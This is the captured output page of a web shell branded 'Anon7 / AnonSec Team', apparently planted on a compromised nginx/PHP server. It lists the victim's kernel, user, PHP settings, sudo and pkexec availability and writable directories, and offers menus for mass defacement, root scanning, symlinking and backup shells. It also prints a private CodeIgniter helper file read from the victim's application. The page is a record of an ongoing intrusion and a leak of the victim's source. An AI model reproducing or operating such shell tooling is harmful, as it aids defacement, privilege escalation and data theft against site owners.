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/  Your IP : 104.23.197.30   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/apps/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/apps/helpers/MY_url_helper.php
<?php
function assets_url($path, $witch_assets='assets')
{
	$asset = ($witch_assets == 'bower')?'bower_components':$witch_assets;
	return base_url($asset.'/'.$path);
} 

function date_to_path($datetime)
{
	$date = explode(' ', $datetime);
	$date_split = explode('-', $date[0]);
	return implode('/', $date_split);
}

function image_url($path)
{
	return base_url('uploads'.'/'.$path);
}

function makelink($s) {
	$string = $s;
    //$url = '@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.-]*(\?\S+)?)?)?)@';  
    //$string = preg_replace($url, '<a href="$0" target="_blank" title="$0">$0</a>', $string);
    return $string;
}

function thumb($fullname, $width, $height)
{
    // Path to image thumbnail in your root
    $dir = './uploads/files/';
    $dir_new = './uploads/files_new/';
    $url = base_url() . 'uploads/files_new/';
    // Get the CodeIgniter super object
    $CI = &get_instance();
    // get src file's extension and file name
    $extension = pathinfo($fullname, PATHINFO_EXTENSION);
    $filename = pathinfo($fullname, PATHINFO_FILENAME);
    $image_org = $dir . $filename . "." . $extension;
    $image_thumb = $dir_new . $filename . "-" . $height . '_' . $width . "." . $extension;
    $image_returned = $url . $filename . "-" . $height . '_' . $width . "." . $extension;

    if (!file_exists($image_thumb)) {
        // LOAD LIBRARY
        $CI->load->library('image_lib');
        // CONFIGURE IMAGE LIBRARY
        $config['source_image'] = $image_org;
        $config['new_image'] = $image_thumb;
        $config['width'] = $width;
        $config['height'] = $height;
        $CI->image_lib->initialize($config);
        $CI->image_lib->resize();
        $CI->image_lib->clear();
    }
    return $image_returned;
}
function thumb_user($fullname, $width, $height)
{
    // Path to image thumbnail in your root
    $dir = './uploads/users/';
    $url = base_url() . '/uploads/users/';
    // Get the CodeIgniter super object
    $CI = &get_instance();
    // get src file's extension and file name
    $extension = pathinfo($fullname, PATHINFO_EXTENSION);
    $filename = pathinfo($fullname, PATHINFO_FILENAME);
    $image_org = $dir . $filename . "." . $extension;
    $image_thumb = $dir . $filename . "-" . $height . '_' . $width . "." . $extension;
    $image_returned = $url . $filename . "-" . $height . '_' . $width . "." . $extension;

    if (!file_exists($image_thumb)) {
        // LOAD LIBRARY
        $CI->load->library('image_lib');
        // CONFIGURE IMAGE LIBRARY
        $config['source_image'] = $image_org;
        $config['new_image'] = $image_thumb;
        $config['width'] = $width;
        $config['height'] = $height;
        $CI->image_lib->initialize($config);
        $CI->image_lib->resize();
        $CI->image_lib->clear();
    }
    return $image_returned;
}

function date_full_en($date) {
    $date2 = explode('-', $date);
    $date1 = explode('/', $date2[0]);
    $month = array(
        "",
        "January", 
        "February", 
        "March",
        "April",
        "May",
        "June",
        "July",
        "August",
        "September",
        "October",
        "November",
        "December");
    if($date1[1] == 10 or $date1[1] == 11 or $date1[1] == 12){
        $month1 = $date1[1];
    }
    else{
        $month1 = str_replace("0","",$date1[1]);
    }
    
    $month2 = $month[$month1];

    return $month2.' '.$date1[2].', '.$date1[0].', '.$date2[1];
}
function date_full_id($date) {
    $date2 = explode('-', $date);
    $date1 = explode('/', $date2[0]);
    $month = array(
        "",
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    if($date1[1] == 10 or $date1[1] == 11 or $date1[1] == 12){
        $month1 = $date1[1];
    }
    else{
        $month1 = str_replace("0","",$date1[1]);
    }
    
    $month2 = $month[$month1];

    return $date1[2].' '.$month2.' , '.$date1[0].', '.$date2[1];
}

function new_date_id($date) {
    $date2 = explode('-', $date);
    $month = array(
        "",
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    if($date2[1] == 10 or $date2[1] == 11 or $date2[1] == 12){
        $month1 = $date2[1];
    }
    else{
        $month1 = str_replace("0","",$date2[1]);
    }
    
    $month2 = $month[$month1];

    return $date2[2].' '.$month2.' '.$date2[0];
}

function new_date_en($date) {
    $date2 = explode('-', $date);
    $month = array(
        "",
        "January", 
        "February", 
        "March",
        "April",
        "May",
        "June",
        "July",
        "August",
        "September",
        "October",
        "November",
        "December");
    if($date2[1] == 10 or $date2[1] == 11 or $date2[1] == 12){
        $month1 = $date2[1];
    }
    else{
        $month1 = str_replace("0","",$date2[1]);
    }
    
    $month2 = $month[$month1];

    return $month2.' '.$date2[2].', '.$date2[0];
}


function date_month($date) {
    $new_month = $date;
    $new_month = ltrim($new_month, '0');
    $new_month = $new_month - 1;
    $month = array(
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    $month_text = $month[$new_month];
    return $month_text;

    
    //echo $new_month;
}
function the_day($day) {
    $day_array = array(
        "Sun" => "Minggu", 
        "Mon" => "Senin", 
        "Tue" => "Selasa", 
        "Wed" => "Rabu", 
        "Thu" => "Kamis", 
        "Fri" => "Jumat", 
        "Sat" => "Sabtu", 
    );
    $day_text = $day_array[$day];
    return $day_text;

    
    //echo $new_month;
}
function user_img($id,$username,$pic,$user) {
    echo'<a href="'.base_url('warga/detail/').$id.'/'.$username.'" class="box_img ratio1_1 tip '.$user.'" data-tip="'.$username.'" target="_parent">
        <div class="img_con lqd">';
            if($pic == ""){
                $nama = substr($username, 0,1);
                echo $nama;
            }
            else{
                echo'<img src="'.thumb_user('uploads/users/'.$pic, 200, 0).'" alt="">';
            }
        echo'</div>
    </a>';
}
function file_up($pic) {
    $ext = pathinfo($pic, PATHINFO_EXTENSION);

    if($ext=="png" or $ext=="PNG" or $ext=="jpg" or $ext=="jpeg" or $ext=="gif" or $ext=="JPG"){
        echo'<a href="'.image_url('files/').$pic.'" target="_blank" data-fancybox="gallery" data-srcset="'.image_url('files/').$pic.'" data-caption="&lt;a href=&quot;'.image_url('files/').$pic.'&quot; target=&quot;_blank &quot;&gt;Unduh File&lt;/a&gt;">
            <div class="ratio1_1 box_img">
                <div class="img_con lqd">
                    <img src="'.image_url('files/').$pic.'" alt="">
                </div>
            </div>
        </a>';
        //<img src="'.thumb($pic, 200, 0).'" alt="">
    }
    else {
        echo' <a href="'.image_url('files/').$pic.'" target="_blank">
            <div class="ratio1_1 box_img lqd">
                <div class="img_con lqd"><img src="'.assets_url('img/f_').$ext.'.png'.'"></div>
            </div>
        </a>';
    }
}
function str_replace_text($text) {
    $findArr = array(
                "-",
                "!",
                '"', 
                "'"
            );
    $replaceArr   = array(
                "&#45;",
                "&#33;",
                "&#34;",
                "&#039;"
            );

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}
function str_replace_img($text) {
    $findArr = array(" - "," ","  ", "[", "]","&","+","!","'");
    $replaceArr   = array("_","_","_","_", "_","_","_","_","_");

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}

function str_replace_encode($text) {
    $findArr   = array(
                "&#45;",
                "&#33;",
                "&#34;",
                "&#039;"
            );
    $replaceArr = array(
                "-",
                "!",
                '"', 
                "'"
            );
    

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}
function str_replace_rehtml($text) {
    $replaceArr   = array('<','>','"');
    $findArr = array('&#60;','&#62;','&#34;');

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}

function str_replace_url($text) {
    $findArr = array(
                " ",
                "-",
                "!",
                '"', 
                "'",
                "?",
                "$",
                "&",
                "*",
                "(",
                ")",
                "[",
                "]",
                "{",
                "}",
                "@",
                "#",
                "^",
                "%",
                "+",
                ","
            );
    $replaceArr   = "-";

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

function str_replace_flip($text) {
    $findArr = array(
                'Σ',
                '../../../',
                'symbol-536;',
                'symbol-16;',
                '&nbsp;',
                '&Sigma;'
            );
    $replaceArr = array(
        '<span class="flip"><strong>Σ</strong><span>Σ</span></span>',
        base_url(),
        '<img src="'.base_url('assets/img/symbol-536.png').'" class="symbol-character"/>',
        '<img src="'.base_url('assets/img/symbol-16v.png').'" class="symbol-character"/>',
        ' ',
        '<span class="flip"><strong>Σ</strong><span>Σ</span></span>'
    );

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

function str_replace_remove_sigma($text) {
    $findArr = array(
                'Σ'
            );
    $replaceArr = array(
        ''
    );

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

function imagePath($text) {
    $replaceArr   = array('../');
    $findArr = array('');

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

function str_replace_url_input($text) {
    $findArr = array(
                " ",
                "-",
                "!",
                '"', 
                "'",
                "?",
                "$",
                "&",
                "*",
                "(",
                ")",
                "[",
                "]",
                "{",
                "}",
                "@",
                "#",
                "^",
                "%",
                "+",
                ","
            );
    $replaceArr   = "-";

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}
function str_replace_url_schema($text) {
    $findArr = array(
                "<ul>",
                "</ul>",
                "<ol>",
                "</ol>",
                "<li>",
                '</li>', 
                "<div>",
                "</div>",
                "<p>",
                "</p>",
                ","
            );
    $replaceArr   = "";

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

function dateSchema($date) {

    $old_date = explode('-', $date);

    $findArr   = array(
        "/",
        " ",
        "am",
        "pm"
    );
    $replaceArr = array(
        "-",
        "",
        "",
        ""
    );

    $date = str_replace($findArr, $replaceArr, $old_date[0]);
    $time = str_replace($findArr, $replaceArr, $old_date[1]);
    $new_date = $date.'T'.$time.'+07:00';
    return $new_date;
}

function resepSchema($text) {
    $findArr   = array(
        '<table style="border-collapse: collapse; width: 100%;" border="1">',
        '</table>',
        '<tbody>',
        '</tbody>',
        '<td style="width: 48.8492%;">',
        '</td>',
        '<tr>',
        '</tr>',
        '<p>',
        '</p>',
        '&nbsp;',
        '<ul>',
        '</ul>',
        '<ol>',
        '</ol>',
        '<li>',
        '</li>', 
        '<div>',
        '</div>',
    );
    $replaceArr = array(
        "",
    );
    $text = str_replace($findArr, $replaceArr, $text);
    return $text;
}

function resepIngredSchema($text) {
    $findArr   = array(
        '<ul>',
        '</ul>',
        '<ol>',
        '</ol>',
        '<li>',
        '</li>', 
        '<div>',
        '</div>',
        '&nbsp;',
        '<p>',
        '</p>',
        
    );
    $replaceArr = array(
        '',
        '',
        '',
        '',
        '"',
        '",',
        '',
        '',
        ' ',
        '',
        '',
    );
    $text = str_replace($findArr, $replaceArr, $text);
    return $text;
}
function resepNutriSchema($text) {
    $findArr   = array(
        '<p>',
        '</p>',
        '&nbsp;',
        
    );
    $replaceArr = array(
        '',
        '',
        '',
    );
    $text = str_replace($findArr, $replaceArr, $text);
    return $text;
}
function resepNutriFE($text) {
    $findArr   = array(
        '"',
        '<p>',
        ',</p>',
        ':'
        
        
        
    );
    $replaceArr = array(
        '',
        '<tr><td>',
        '</td></tr>',
        '</td><td>'
        
    );
    $text = str_replace($findArr, $replaceArr, $text);
    return $text;
}

Anon7 - 2022
AnonSec Team